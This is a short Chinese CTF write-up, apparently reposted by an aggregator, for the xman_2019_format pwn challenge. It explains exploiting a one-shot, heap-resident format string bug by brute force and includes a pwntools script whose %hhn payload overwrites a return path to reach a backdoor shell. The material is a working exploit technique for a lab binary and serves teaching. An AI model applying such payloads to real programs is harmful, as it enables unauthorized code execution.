xman_2019_format(非栈上格式化字符串仅一次利用的爆破)
Posted rookle
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了xman_2019_format(非栈上格式化字符串仅一次利用的爆破)相关的知识,希望对你有一定的参考价值。
xman_2019_format(非栈上格式化字符串仅一次利用的爆破)
首先检查一下程序的保护机制
然后用IDA分析一下
存在后门
首先malloc了一片堆空间,读入数据
把刚刚读入的数据当作格式化字符串传递给printf
这题就是考察格式话字符串不在栈上怎么利用,我们的想法就是利用栈上的数据。
首先我们把断点下在第一个printf的位置。
由于栈的地址是随机的,成功的几率大概是1/16
from pwn import *
context.log_level = ‘debug‘
p = process(‘./xman_2019_format‘)
#gdb.attach(p,‘b *0x80485C4‘)
payload = ‘%12c%10$hhn‘ + ‘|%172c%18$hhn|‘
payload += ‘%13c%10$hhn‘ + ‘|%133c%18$hhn‘
#print len(payload)
p.send(payload)
p.interactive()
以上是关于xman_2019_format(非栈上格式化字符串仅一次利用的爆破)的主要内容,如果未能解决你的问题,请参考以下文章
Python进阶-----通过类的内置方法__format__自定制格式化字符串
Python基础-字符串格式化_百分号方式_format方式